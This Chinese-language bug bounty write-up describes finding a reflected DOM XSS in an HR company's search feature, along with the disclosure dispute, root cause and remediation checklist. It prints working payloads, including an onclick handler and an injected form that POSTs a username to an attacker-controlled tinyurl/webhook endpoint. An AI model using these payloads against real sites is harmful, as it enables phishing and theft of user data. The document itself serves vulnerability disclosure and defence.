从"不适用"到"已确认":反射型DOM XSS漏洞的曲折挖掘之路

本文详细记录了作者如何在一个欧洲人力资源巨头的搜索功能中发现反射型DOM XSS漏洞,并通过持续的证据收集和概念验证,最终让安全团队接受这一发现的完整过程。

如何将"不适用"的反射型XSS转化为欧洲HR巨头的"已确认"发现

TL;DR 我在一个范围内的目标(年收入33.9亿欧元的欧洲人力资源巨头)上进行主动安全测试时,发现网站搜索框存在反射型DOM XSS漏洞,用户输入通过AJAX响应返回并以未转义的方式插入到DOM中。初步分类将其关闭为不适用;在提供多个PoC和其他证据(GIF + webhook日志)后,目标安全团队于2025年10月17日验证并接受了这一发现。

教训:坚持和证据胜过假设和草率的分类。

时间线

你好,黑客们!

在Bug Bounty计划范围内的目标上进行测试时,我注意到搜索输入框通过AJAX端点将查询参数中的原始输入反射到DOM中。

基本payload的初始尝试被过滤:<script>标签被阻止,空格也被阻止。

但当我注入简单的HTML如<i>test</i>时,它以斜体呈现,确认了HTML注入。

那时我发现了接收器。我意识到页面在客户端使用.html(),意味着事件处理程序可以存活。

于是开始了过滤器绕过战争:无空格payload、零点击/点击执行。我不断制作payload,攻击目标的过滤器和越来越多的PoC列表。我不能放弃;我有那种感觉,当某些事情不对劲时。我坚持了下来,最终成功了!

发现(2025年9月21日)

约束条件:

  • 无空格
  • 严格的128字符限制
  • 输入通过AJAX反射到DOM
  • 无CSP
  • 事件属性被保留

尽管如此,我能嗅到漏洞的存在,所以我继续前进直到它出现。

代码片段

第一个PoC:最初payload只是为了证明DOM执行:

1
<div/onclick=alert(document.domain)>click</div>

最终让发现被接受的payload是分类团队要求的:“如果你能注入一个表单,将数据POST到你控制的位置,我很乐意接受”。换句话说,他们想要一个payload,将输入框注入到页面中,当提交时,通过POST将输入的数据发送到我控制的端点。

我回复了以下payload:

1
2
3
4
<form/action="https://tinyurl.com/ur4ubsnb?u=t"method="POST">
<input/name="username">
<input/type="submit">
</form>

完整URL示例如下:

1
https://example.eu/search?search=<form/action="https://tinyurl.com/ur4ubsnb?u=t"method="POST"><input/name="username"><input/type="submit"></form>

注入表单示例

报告过程

提交日期:2025年9月21日

2025年9月22日,报告被关闭为"不适用"

分类回复说"我们无法复现你的PoC,因此我们将你的报告关闭为不适用",而不是先给我回复的机会。于是战斗开始了。

49天战斗:拒绝→改进→接受

坚持胜过骄傲。拒绝给了我他们需要接受发现的线索。

9月22日: 关闭为"不适用,PoC不再工作"

于是我回复GIF + webhook日志,证明它仍然"工作"。

这表明他们实际上是错误的。

9月30日: 他们重新开放但将严重性改为→“低影响/无登录”

我展示了登录路径 + 钓鱼表单注入PoC。

10月1日: 分类团队再次推回,但他提到"如果你能注入一个表单,将数据POST到你控制的位置,我很乐意接受"。于是我交付了他请求的onclick PoC。

10月17日: 实际公司的安全团队回应:“经过测试,我们已经复现了你的PoC RXSS。“标记为已接受。

获胜的PoC

一个”

payload”,通过POST请求将数据外泄到我的webhook.site。公司验证的PoC(为合规性编辑):

1
https://[redacted].eu/search?search=%3Cform/action=%22https://tinyurl.com/ur4ubsnb?u=t%22method=%22POST%22%3E%3Cinput/name=%22username%22%3E%3Cinput/type=%22submit%22%3E%3C/form%3E

实际影响

当受信任的域可以注入带有事件处理程序的活跃HTML时,以下是现实的结果;所有这些在此次参与中都被观察到或可证明:

  • 钓鱼攻击: 攻击者控制的表单注入到受信任域中增加了点击率和凭据盗窃风险。
  • 会话风险: 如果攻击者可以在网站源中执行脚本/事件处理程序,登录用户的会话令牌可能成为目标。
  • 篡改: 可见的DOM注入(例如,大的<h1>HACKED</h1>)破坏品牌信任/完整性。
  • GDPR暴露和其他监管/财务暴露: consentId + 地理位置(个人数据)可能被外泄→第4(1)条、5(1)(f)条影响或最高4%营业额的罚款。

根本原因

根本原因是服务器返回的未转义不受信任用户输入,使用不安全的客户端接收器插入到DOM中(例如,.innerHTML() / jQuery .html()),这保留了事件属性(on*)并允许攻击者控制的HTML在页面上下文中执行。

促成因素: 敏感标识符(consentId/地理位置)在客户端暴露,没有CSP来限制内联处理程序,服务器/客户端过滤不一致(过滤器阻止空格但允许绕过清理程序的标签/属性序列)。

原因链(逐步)

  1. 源(攻击者控制的输入): 搜索查询参数被应用程序接受。
  2. 服务器行为: 服务器在AJAX响应(HTML片段)中返回原始/不足转义的值。它没有为嵌入HTML而正确编码或转义该值。
  3. 客户端接收器: 前端使用解释HTML的方法(例如,.innerHTML().html())直接将响应插入到DOM中,而不是将其视为文本。
  4. 保留的属性: 由于HTML被解释,像onclick这样的属性被保留,使得事件处理程序执行无需<script>标签。
  5. 无缓解措施: 没有CSP来阻止内联JS,敏感数据(consentId,地理位置)在JS上下文/响应中可用,一旦执行就允许有意义的影响。
  6. 过滤器怪癖: 过滤移除了某些字符并阻止了空格,但允许标签/属性构造,使得使用无空格payload或替代编码的绕过成为可能。

为什么这是DOM XSS(不是纯服务器端模板)

尽管服务器反射了输入,但实际的执行表面是客户端将该反射值作为HTML插入到实时文档中。这使其成为DOM XSS,服务器提供了原始HTML,但客户端使用HTML接收器是执行它的原因。

修复

服务器端清理 + 深度防御。 团队接受的实用建议或您应在任何修复计划中包含的建议。

深度防御检查清单

  • 输入允许列表:在服务器上验证,例如^[a-zA-Z0–9\-\.\s]{0,100}$(根据允许的语义调整)
  • 服务器端剥离危险属性(移除on*属性)
  • CSP:Content-Security-Policy: script-src 'self'; object-src 'none';
  • WAF规则:在合成端点上阻止可疑标签/属性(注意误报)
  • 客户端:避免使用.html()渲染不受信任的数据;优先使用文本节点或安全模板
  • 同意处理:避免在查询字符串或日志中暴露同意标识符和地理位置,除非必要;将它们视为个人数据(Pii,GDPR确定)

我学到的(你也应该学习)

  • 拒绝是数据。 每次关闭告诉你分类团队的想法;利用它。
  • 证据 > 自我。 截图、GIF、webhook日志和监管背景从对话中移除意见。
  • 分类是人为的。 简洁、礼貌和坚持;影响 > alert(1)。
  • 展示现实风险: GDPR、钓鱼、会话盗窃。
  • 坚持有回报。 四次关闭 = 四次使报告更清晰和更有说服力的机会。

最终反思

“他们不想接受我的漏洞,但他们别无选择,只能接受证据。”

这不是什么奇异的零日漏洞。它是搜索框中的过滤器绕过。通过确凿的证据、监管背景和 relentless 但专业的跟进,一个被驳回的报告变成了一个被接受和奖励的发现。

P.S. 给猎手们: 永远不要删除已关闭的报告。用火力重新打开它。🔥

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计